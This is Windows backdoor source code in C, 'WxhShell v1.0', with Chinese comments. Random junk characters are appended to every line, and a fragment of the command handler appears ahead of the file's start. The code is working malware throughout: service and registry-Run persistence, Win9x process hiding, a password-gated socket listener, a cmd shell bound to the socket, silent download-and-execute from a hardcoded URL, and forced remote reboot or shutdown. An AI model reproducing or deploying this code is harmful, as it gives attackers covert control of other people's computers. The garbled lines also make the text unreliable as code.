    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wE-Ji<1HJ  
    else { (9Fabo\SH  
    closesocket(wsh); |Gf1^8:C9  
    ExitThread(0); "``W6W-(  
    } TW'E99wG  
    break; LuQ"E4;nY%  
    } Tz+HIUIxF  
  // 获取shell |) x'  
  case 's': { p} t{8j >  
    CmdShell(wsh); ^D% }V-"  
    closesocket(wsh); Z[DetRc-  
    ExitThread(0); y|&.v <  
    break; BG(R=, 7  
  } :w?:WH?2L  
  // 退出 8@9hU`H8l  
  case 'x': {  '7S!6kd?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )nf=eU4|  
    CloseIt(wsh); 8MYLXW6  
    break; )*psDjZ7*  
    } =DeHxPv}f  
  // 离开 jsZiARTZRl  
  case 'q': { mq|A8>g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s0~05{  
    closesocket(wsh); B,BOzpb(  
    WSACleanup(); %J/fg<W1  
    exit(1); > {'5>6u  
    break; kR`6s  
        } Z`SWZ<  
  } c<JM1  
  } =hZ&66  
o=QRgdPD  
  // 提示信息 (R;) 9I\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X\c1q4oB[  
} K4h-4Qbn  
  } ZTgAZ5_cz  
Zh@4_Z9n!  
  return; gLXvw]  
} ^cKv JSY  
{|7OmslC@  
// shell模块句柄 % +t  
int CmdShell(SOCKET sock) VrAXOUJw6  
{ xy-$v   
STARTUPINFO si; WcZo+r  
ZeroMemory(&si,sizeof(si)); 9" }^SI8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -6em*$k^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _4XoUE\\  
PROCESS_INFORMATION ProcessInfo; 3;t@KuQ66  
char cmdline[]="cmd"; OxmlzQ"vM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u$Pf.#  
  return 0; ?}1JL6mF{  
} eK=m02  
R.T?ZF  
// 自身启动模式 k?|F0e_  
int StartFromService(void) kw}ISXz v  
{ 6/V{>MTZg  
typedef struct npG+# z  
{ 5wE !_ng>|  
  DWORD ExitStatus; a?U%l9F  
  DWORD PebBaseAddress; !7,K9/"  
  DWORD AffinityMask; %xbz&'W,  
  DWORD BasePriority; "ojDf3@{  
  ULONG UniqueProcessId; I ")"s  
  ULONG InheritedFromUniqueProcessId; mn6p s6OB  
}   PROCESS_BASIC_INFORMATION; q*<J $PI  
L F-+5`  
PROCNTQSIP NtQueryInformationProcess; +hKPOFa'  
Ph! KL\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1,;qXMhK`;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;t@ 3Go  
d)17r\*>I  
  HANDLE             hProcess; hF=V ?\  
  PROCESS_BASIC_INFORMATION pbi; b$`4Nn|  
5x1jLPl'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Zu4tuXA  
  if(NULL == hInst ) return 0; CDTk  
~_l: b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jk6/i;4|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -)->Jx:{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RAx]Sp Q-S  
enD C#  
  if (!NtQueryInformationProcess) return 0; CsST-qxg  
;KjMZ(Iil1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -"JE-n  
  if(!hProcess) return 0; 5-QvQ&eH.  
@l6 dJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZsK'</7  
?[>BssW  
  CloseHandle(hProcess); t"74HZO >  
[#@p{[?r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =ILo`Q~  
if(hProcess==NULL) return 0; AdN= y8T  
$, @ rKRY  
HMODULE hMod; ~zOU/8n ,F  
char procName[255]; Rx"VscB6z  
unsigned long cbNeeded; K v>#  
<wGT s6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /7HIL?r  
u #QSa$P  
  CloseHandle(hProcess); 1p5q}">z  
wYxFjXm  
if(strstr(procName,"services")) return 1; // 以服务启动 Z(`K6`KM  
$YO]IK$  
  return 0; // 注册表启动 1~ZHC[ `  
} oIR%{`3"I  
PT*@#:MA  
// 主模块 nv|y@! (  
int StartWxhshell(LPSTR lpCmdLine) _f2iz4  
{ )d a8 Ru  
  SOCKET wsl; _"e( ^yiK  
BOOL val=TRUE; 7&U+f:-w  
  int port=0; E]Gq!fA&<  
  struct sockaddr_in door; rO >wX_  
$G([#N<  
  if(wscfg.ws_autoins) Install(); B!C32~[  
!{=%l+^.  
port=atoi(lpCmdLine); i*rv_G|(Zj  
f2K3*}P  
if(port<=0) port=wscfg.ws_port;  [ ^ \)  
T//+&Sk[  
  WSADATA data; ov.rHVeI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7.'j~hJL  
W${sD|d-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F,$$N>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6*oTT(0<p  
  door.sin_family = AF_INET; 24k}~"We  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \e vgDZf  
  door.sin_port = htons(port); t-{OP?cE1  
R1%T>2"~&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \FX3=WW  
closesocket(wsl); XSIO0ep  
return 1; xGQ:7g+qu  
} b<MMli  
Z.f<6<gF  
  if(listen(wsl,2) == INVALID_SOCKET) { ol>=tk 8}  
closesocket(wsl); }{PtQc6RL!  
return 1; wY)GX  
} 4h@of'  
  Wxhshell(wsl); K_Gf\x  
  WSACleanup(); \3UdC{~  
dNmX<WXG  
return 0; {i?K~| h  
 +PD5pr  
} N^>g= Ub  
2Nszxvq,  
// 以NT服务方式启动 je0 ?iovY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "A$Y)j<#G  
{ O~1p]j  
DWORD   status = 0; 2^j9m}`  
  DWORD   specificError = 0xfffffff; 7~g0{W>Zm  
p`ZGV97  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [r~l O@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e6/} M3B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l0,O4k2'  
  serviceStatus.dwWin32ExitCode     = 0; #@`^  .  
  serviceStatus.dwServiceSpecificExitCode = 0; [C#pMLp,~  
  serviceStatus.dwCheckPoint       = 0; DA\O,^49h  
  serviceStatus.dwWaitHint       = 0; W12K93tO  
`hhG^ O_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); au v\fR :  
  if (hServiceStatusHandle==0) return; mcracj[ B  
:H 7 "W<  
status = GetLastError(); r +fzmb  
  if (status!=NO_ERROR) {hR23eE)#  
{ T9.gs}B0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #,pLVt<  
    serviceStatus.dwCheckPoint       = 0; r3)t5P*_  
    serviceStatus.dwWaitHint       = 0; j_g9RmZT  
    serviceStatus.dwWin32ExitCode     = status; 8hY)r~!b'  
    serviceStatus.dwServiceSpecificExitCode = specificError; :zoX Xo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gr7_oJ:R  
    return; cke[SUH,  
  } 4]R3*F  
q fe#kF9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t$2{U  
  serviceStatus.dwCheckPoint       = 0; >?V->7QLP  
  serviceStatus.dwWaitHint       = 0; .j.=|5nVo4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <k1gc,*  
} u,q#-d0g;  
gsH_pG-jU  
// 处理NT服务事件,比如:启动、停止 wOP}SMn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~+hG}7(:  
{ fE iEy%o  
switch(fdwControl) R(fR1  
{ [d}1Cq=_  
case SERVICE_CONTROL_STOP: 6]*qx5m`<l  
  serviceStatus.dwWin32ExitCode = 0; zrM|8Cu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C 0wq  
  serviceStatus.dwCheckPoint   = 0; &iivSc;#  
  serviceStatus.dwWaitHint     = 0; )1ciO+_  
  { a6C ~!{'nW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9iR>put  
  } e$Ej7_.#;  
  return; Yy]He nw;  
case SERVICE_CONTROL_PAUSE: UWp(3FQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |BR&p)7)  
  break; h";sQ'us  
case SERVICE_CONTROL_CONTINUE: z#b6 aP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _'Z@ < ,L  
  break; ,==lgM2V>  
case SERVICE_CONTROL_INTERROGATE: 9,IGZ55C  
  break; 2_p/1Rs  
}; .W\Fa2}%av  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VlH9ap  
} #+$z`C`  
uzOZxW[e  
// 标准应用程序主函数 4I$#R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ygHNAQG~  
{ q%l<Hw6{z  
%O-wMl  
// 获取操作系统版本 @U,cj>K  
OsIsNt=GetOsVer(); e>/PW&Z8Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); | =&r) ~  
>i '3\  
  // 从命令行安装 v?}/WKe+0  
  if(strpbrk(lpCmdLine,"iI")) Install(); &Ef'5  
aX! J0&3  
  // 下载执行文件 <5 okwcJ^  
if(wscfg.ws_downexe) { ~b e&T:7.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IaW8  
  WinExec(wscfg.ws_filenam,SW_HIDE); NGNn_1  
} ]0o78(/w2  
Xa36O5$4]9  
if(!OsIsNt) { ,%u\2M  
// 如果时win9x,隐藏进程并且设置为注册表启动 u VB&D E  
HideProc(); +IMP<  
StartWxhshell(lpCmdLine); f?)qZPM  
} & )Z JT.S  
else sD M!Uv2n  
  if(StartFromService()) '8Yx  
  // 以服务方式启动 Gz`Zp "i%0  
  StartServiceCtrlDispatcher(DispatchTable); ^7=yjD`  
else ],#9L   
  // 普通方式启动 { aU~[5L3(  
  StartWxhshell(lpCmdLine); 7#Mi`W  
Q16RDQ*  
return 0; ?=6zgb"9-  
} *M&~R(TMn  
I\":L  
6x_8m^+m  
GZ9XG">  
=========================================== z`{x1*w_  
qz?9:"~$C  
M^H357r%  
\SyfEcSf2v  
@A g=2\9  
{whR/rX`  
" LFtnSB8  
I6\ l 6o  
#include <stdio.h> 23 3jT@Z  
#include <string.h> i9$ -lk  
#include <windows.h> 1_ %3cN.  
#include <winsock2.h> R9k Z#  
#include <winsvc.h> x-cg df  
#include <urlmon.h> ho 4~-xmN  
e_7a9:2e  
#pragma comment (lib, "Ws2_32.lib") @r=O~x  
#pragma comment (lib, "urlmon.lib") (;\JCeGA  
pf[bOjtR  
#define MAX_USER   100 // 最大客户端连接数 DdPU\ ZWR  
#define BUF_SOCK   200 // sock buffer z" 4$mh  
#define KEY_BUFF   255 // 输入 buffer YDO#Q= q%  
=#^\ 9|?$  
#define REBOOT     0   // 重启 #TXgV0\F  
#define SHUTDOWN   1   // 关机 p v%`aQ]o{  
6ID@0  
#define DEF_PORT   5000 // 监听端口 kect)=T(  
>E6w,Ab  
#define REG_LEN     16   // 注册表键长度 c#Y/?F2p  
#define SVC_LEN     80   // NT服务名长度 7;5SK:X%dm  
AfB,`l`k  
// 从dll定义API 9n%vz@X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vjmNS=l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a/ ^ojn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <BEM`2B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M*$#j|  
?t46TV'G  
// wxhshell配置信息 0M-=3T  
struct WSCFG { bW-9YXj%  
  int ws_port;         // 监听端口 9=TjSRS  
  char ws_passstr[REG_LEN]; // 口令 wO.T"x%X  
  int ws_autoins;       // 安装标记, 1=yes 0=no E9<oA.  
  char ws_regname[REG_LEN]; // 注册表键名 K !g!tA$  
  char ws_svcname[REG_LEN]; // 服务名 $MhfGMk!'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V q4g#PcG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nz1u:D]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '(fQtQ%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 21_sg f?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~)vq0]MRg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J;wDvt]]1  
3e,"B S)+  
}; B:oE&Ahh{  
_D.4=2@|l8  
// default Wxhshell configuration `8M{13fv  
struct WSCFG wscfg={DEF_PORT, #|-i*2@oR  
    "xuhuanlingzhe", (}*1,N!#  
    1, >W>3w  
    "Wxhshell", #7v=#Jco  
    "Wxhshell", ?vh1 >1D  
            "WxhShell Service", efN5(9*9R  
    "Wrsky Windows CmdShell Service", vX30Ijm  
    "Please Input Your Password: ", `]F}O \H  
  1, vb.}SG>  
  "http://www.wrsky.com/wxhshell.exe", $-AG $1  
  "Wxhshell.exe" 0fE?(0pBj  
    };  \uG^w(*)  
++\s0A(e  
// 消息定义模块 &a8%j+j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R/EpfYOX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~`yO@f;D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \$+#7( K  
char *msg_ws_ext="\n\rExit."; [[s^rC<d  
char *msg_ws_end="\n\rQuit."; aO &!Y\=@  
char *msg_ws_boot="\n\rReboot..."; bt'lT  
char *msg_ws_poff="\n\rShutdown..."; {&TP&_|H  
char *msg_ws_down="\n\rSave to "; H"NBjVRU%  
)6b`1o!7  
char *msg_ws_err="\n\rErr!"; -J":'xCP!  
char *msg_ws_ok="\n\rOK!"; I+eKuWB  
k 5gvo  
char ExeFile[MAX_PATH]; yRy^'E~  
int nUser = 0; q"0_Px9P  
HANDLE handles[MAX_USER]; U{ 52bH<  
int OsIsNt; @+>t]jyz  
T-F8[dd^/  
SERVICE_STATUS       serviceStatus; sW]>#e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QC Jf   
E>c*A40=.n  
// 函数声明 'i:S=E F  
int Install(void); eWOZC(I*z  
int Uninstall(void); * `3+x  
int DownloadFile(char *sURL, SOCKET wsh); Z6fR2A~Q[  
int Boot(int flag); ~--b#o{  
void HideProc(void); ("s!t?!&YS  
int GetOsVer(void); /_Fi4wZ  
int Wxhshell(SOCKET wsl); $C t(M)  
void TalkWithClient(void *cs); +WE<S)z<  
int CmdShell(SOCKET sock); ,a3M*}Y ~3  
int StartFromService(void); Wgm{ ]9Q  
int StartWxhshell(LPSTR lpCmdLine); R-6km Tex>  
Y;=GM:*H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !-Uq#Ea0/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,8.zbr  
ts &sr  
// 数据结构和表定义 T5eJIc3a"  
SERVICE_TABLE_ENTRY DispatchTable[] = &UQP9wS4v  
{ !JQ'~#jKN  
{wscfg.ws_svcname, NTServiceMain}, #]2,1dJ  
{NULL, NULL} YK V"bI  
}; P\3H<?@4  
:0% $u>;O:  
// 自我安装 COL_c<\  
int Install(void) `08}y*E  
{ @<$_X1)s  
  char svExeFile[MAX_PATH]; -+n? Q;  
  HKEY key; |?LUt@r;  
  strcpy(svExeFile,ExeFile); gmCB4MO  
"|GX%> /  
// 如果是win9x系统,修改注册表设为自启动 yHmNO*(  
if(!OsIsNt) { ^}4ysw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 72sBx3 ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *40Z }1ng  
  RegCloseKey(key); 15cgmZsS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $uUJV% EX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yb-/_{Y  
  RegCloseKey(key); d=a$Gd_$  
  return 0; +~?K@n  
    } -O6\!Wo=-  
  } aFDCVm%U|  
} *h~(LH"tN  
else { VMW<?V 2Z  
hQ Lh}}B  
// 如果是NT以上系统,安装为系统服务 S %(R9N|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <xAlp;8m5  
if (schSCManager!=0) trg&^{D<  
{ S^ JUQx7  
  SC_HANDLE schService = CreateService +zzS  
  ( 8_uh2`+Bvb  
  schSCManager, PF] Vt  
  wscfg.ws_svcname, J:2Su1"ODh  
  wscfg.ws_svcdisp, nEh^{6  
  SERVICE_ALL_ACCESS, baib_-$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pjNH0mZ  
  SERVICE_AUTO_START, fqZ+CzH  
  SERVICE_ERROR_NORMAL, y0 qq7Dmu  
  svExeFile, (^= Hq'D  
  NULL, (Ek=0;Cr  
  NULL, 0@2pw2{Ru  
  NULL, *Bx' g| u  
  NULL, ) q'~<QxI\  
  NULL ;aUI3n%  
  ); mG+hLRTXP  
  if (schService!=0) l&m'?. g f  
  { WyJXT.  
  CloseServiceHandle(schService); ppPzI,  
  CloseServiceHandle(schSCManager); )4bZ;'B5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cP[]\r+Kj  
  strcat(svExeFile,wscfg.ws_svcname); g<PdiVp+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ot.R Gpg%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :]-? l4(%  
  RegCloseKey(key); AV?<D.<  
  return 0; ^<nN~@j  
    } !d=Q@oy5  
  } 'gv7&$X}4  
  CloseServiceHandle(schSCManager); OvW/{  
} !Mk:rO-L  
} ,__|SnA.  
aoS]Qp  
return 1; be5NasC  
} vh6#Bc)i%w  
pI{s )|"  
// 自我卸载 e,Fe,5E&g  
int Uninstall(void) 9{5 c}bX  
{ /pDI \]  
  HKEY key; dM3V2TT  
0 B[eG49  
if(!OsIsNt) { sYY=MD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /yj-^u\R  
  RegDeleteValue(key,wscfg.ws_regname); js8\"  
  RegCloseKey(key); 7<c&)No;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S~4HFNe^&  
  RegDeleteValue(key,wscfg.ws_regname); QprzlxB  
  RegCloseKey(key); <jRs/?1R  
  return 0; 05m/iQ  
  } {cBLm/C  
} Y4dTv<=K@i  
} cP MUu9du  
else { 7c Gq.U  
"227 U)Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?#X`Eu  
if (schSCManager!=0) @OPyT  
{ nW (wu!2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JTg0T+  
  if (schService!=0) 1eDc:!^SD  
  { q7% eLJ  
  if(DeleteService(schService)!=0) { 5CuK\<  
  CloseServiceHandle(schService); uH-*`*  
  CloseServiceHandle(schSCManager); =xX\z\[A  
  return 0; 6">jf #pE  
  } {bvm83{T  
  CloseServiceHandle(schService); $W;IW$  
  } `g iCytv  
  CloseServiceHandle(schSCManager); 4c=oAL  
} '((Ll  
} g1`/xJz|  
c/57_fOK  
return 1; P'6(HT>F?  
} !S',V&Yb  
'E,Bl]8C5  
// 从指定url下载文件 `N"fsEma  
int DownloadFile(char *sURL, SOCKET wsh) tEl4 !v A  
{ lYu1m  
  HRESULT hr; GX lFS#`  
char seps[]= "/"; 'yM)>]u"  
char *token; -j_J 1P0,  
char *file; 8}W06k>)%  
char myURL[MAX_PATH]; :{tvAdMl7  
char myFILE[MAX_PATH]; l<$c.GgFd  
-W+67@(\8H  
strcpy(myURL,sURL); w{"GA ~=  
  token=strtok(myURL,seps); a4}2^K  
  while(token!=NULL) p=(;WnsK  
  { U{>eE8l  
    file=token; 3rZ"T  
  token=strtok(NULL,seps); otO6<%/m  
  } ]Zim8^n?`.  
hexq]'R  
GetCurrentDirectory(MAX_PATH,myFILE); 8D:{05  
strcat(myFILE, "\\"); 5yQv(<~*G  
strcat(myFILE, file); A2"xCJ0`  
  send(wsh,myFILE,strlen(myFILE),0); 0ZV)Y<DJ  
send(wsh,"...",3,0); [@= [< _r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r\"O8\  
  if(hr==S_OK) RfwTqw4@  
return 0; 9Yowz]')  
else `8TM<az-L  
return 1; $E4W{ad2jW  
K,}"v ;||  
} 1a90S*M  
R6Cm:4m}I  
// 系统电源模块 Tf"DpA!_  
int Boot(int flag) [,a O*7 N  
{ wDZFOx0#8  
  HANDLE hToken; DwZt.*  
  TOKEN_PRIVILEGES tkp; ys;e2xekg  
LxVd7r VY6  
  if(OsIsNt) { ?Y'S /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d/(=q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;NRT a*  
    tkp.PrivilegeCount = 1; T}[W')[s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~]/X,Cf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hk\+;'PrN  
if(flag==REBOOT) { r<O^uz?Di  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rA9x T`  
  return 0; C<fNIc~.  
} *ftJ(  
else { fT8Id\6js  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @WU_GQas3  
  return 0; @U:T}5)wc  
} ('uYA&9  
  } Vrz!.X~  
  else { g#_?Vxt  
if(flag==REBOOT) { u6y\GsM.a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %i%Xi+{3  
  return 0; _:'m/K3Ee  
} p^YE"2 -  
else { FzpWT-jnDd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0mj=\j  
  return 0; GKY:"q&h  
} nHKEtKDd  
} 0m`7|80#P  
9rao&\eH  
return 1; _ |TE )h  
} n/?5[O-D]  
5.[{PJ]bq  
// win9x进程隐藏模块 2,&lGyV#  
void HideProc(void) cJ8F#t  
{ &F'v_9  
fsjA7)/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d=qpTb;(  
  if ( hKernel != NULL ) yK?~X V:  
  { oAyk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Op)0D:BmR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u."fJ2}l0X  
    FreeLibrary(hKernel); R~ w(]  
  } [l#WS  
B@zJ\Ir[  
return; Pz|qy,  
} }h_Op7.5D  
@?B=8VHR  
// 获取操作系统版本 R|+R4'  
int GetOsVer(void) &ApJ'uC  
{ #]eXI $HP  
  OSVERSIONINFO winfo; d;<n [)@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rY!uc!  
  GetVersionEx(&winfo); DAu|`pyC%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xq>e]#gR  
  return 1; -;P<Q`{I  
  else N^ D/}n  
  return 0; Rc6 )v  
} B E"nyTQ  
k)v[/#I  
// 客户端句柄模块 Msd!4TrBJ  
int Wxhshell(SOCKET wsl) YRp\#pVnZ  
{ M@'V4oUz  
  SOCKET wsh; %&_(IY$d  
  struct sockaddr_in client; WQ5sC[&   
  DWORD myID; ^ Nsl5  
@5?T]V g  
  while(nUser<MAX_USER) Q5,@ P?  
{ H;sQ]:.*]  
  int nSize=sizeof(client); R ^B2J+O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @i{JqHU"  
  if(wsh==INVALID_SOCKET) return 1; ImV54h'  
mzT} C&hfP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )b%c]!  
if(handles[nUser]==0) "{x~j \<  
  closesocket(wsh); K%pmE?%,8  
else #dpt=  
  nUser++; q5vs;,_ |  
  } /2@%:b)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0X0D8H(7Q  
4|$D.`Wu  
  return 0; 0[1 !K&(L  
} d(@A  
+1)C&:  
// 关闭 socket 9>i6oF]Oq  
void CloseIt(SOCKET wsh) f <w*l<@  
{ Pm1 " 0  
closesocket(wsh); <Y#R]gf1  
nUser--; !GIsmqVY  
ExitThread(0); HQ s)T  
} pK8nzGQl7  
__ mtZ{  
// 客户端请求句柄 !%u#J:z2  
void TalkWithClient(void *cs) 9#iDrZW  
{ 5dgBSL$A}]  
JA{YdB;il  
  SOCKET wsh=(SOCKET)cs; ^mum5j  
  char pwd[SVC_LEN]; ]Qu12Wg}P  
  char cmd[KEY_BUFF]; 6#KI? 6  
char chr[1]; yX-xVvlv@  
int i,j; s^oNQ}  
+ kF[Oh#  
  while (nUser < MAX_USER) { P+b^;+\1s  
Oq2H>eW`f  
if(wscfg.ws_passstr) { Iv<9} )2K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *.*:(7`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DO\EB6xH>%  
  //ZeroMemory(pwd,KEY_BUFF); J7\q #]?  
      i=0; UeICn@)\y  
  while(i<SVC_LEN) { $1?X%8V  
~d8>#v=Q`  
  // 设置超时 e6R "W9  
  fd_set FdRead; /J+)P<_A  
  struct timeval TimeOut; @}?D<O8#"#  
  FD_ZERO(&FdRead); =N{eiJ.(p  
  FD_SET(wsh,&FdRead); &tgvE6/V  
  TimeOut.tv_sec=8; 2:N_c\Vi  
  TimeOut.tv_usec=0; 6g"<i}_|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qE{cCS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jkP70Is  
KNg5Ptk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5qr!OEF2  
  pwd=chr[0]; 1ZL_;k  
  if(chr[0]==0xd || chr[0]==0xa) { fv_wK_. %:  
  pwd=0; GiZ'IDV  
  break; !p&'so^-W  
  } "<2b jy  
  i++; {T.Vu]L80  
    } v 2GhR*  
O<h#|g1  
  // 如果是非法用户,关闭 socket `az`?`i7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cA%U  
} vs@:L)GW\  
7:L~n(QpP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 668bJ.M\O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c_q+_$t  
M([H\^\:  
while(1) { ~yi&wbTjM  
[~<',,tA0|  
  ZeroMemory(cmd,KEY_BUFF); =Yj[MVn  
lkZC?--H  
      // 自动支持客户端 telnet标准   5 WppV3;  
  j=0; u-9t s  
  while(j<KEY_BUFF) { 5)zB/Ta<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nTU~M~gky  
  cmd[j]=chr[0]; ? 03Zy3 /  
  if(chr[0]==0xa || chr[0]==0xd) { 2jZ}VCzRG  
  cmd[j]=0; iy82QNe  
  break; 3=l-jGJk  
  } B%@!\ D#  
  j++; ]2%P``Yj  
    } +7/*y}.U  
`Y\/US70{c  
  // 下载文件 9`v:$(I  
  if(strstr(cmd,"http://")) { L||yQH7n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZY!pw6R1>*  
  if(DownloadFile(cmd,wsh)) 02^(z6K'&?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qX'a&~s)n  
  else :UcS$M1LE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zax]i,Bx  
  } Cj1UD;  
